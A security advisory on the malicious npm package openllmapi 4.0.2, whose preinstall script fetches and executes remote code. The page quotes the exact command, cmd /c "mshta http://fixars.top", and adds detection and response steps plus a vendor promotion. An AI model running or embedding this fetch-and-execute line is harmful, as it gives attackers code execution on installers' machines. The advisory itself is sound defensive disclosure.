openllmapinpm
Advisory published Updated
openllmapi is a confirmed malicious npm package (MAL-2026-6364) that executes malicious code on install (malicious version 4.0.2). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in openllmapi (npm)
What this malware does
The package's preinstall lifecycle script (preinstall.js line 3) runs cmd /c "mshta http://fixars.top", which causes Windows mshta.exe to download and execute an HTML Application from the attacker-controlled domain fixars.top over plain HTTP. This fires automatically on npm install and yields arbitrary code execution on the installer's machine with the user's privileges. The package metadata is consistent with a throwaway malicious publish: empty author, no repository or homepage, and a generic description ('Node.js wrapper for OpenLLM API service.') that does not match the install-time behavior.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Search your lockfiles and build artifacts for openllmapi (version 4.0.2).
If you installed it — respond
Remove openllmapi from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If openllmapi was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks openllmapi-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.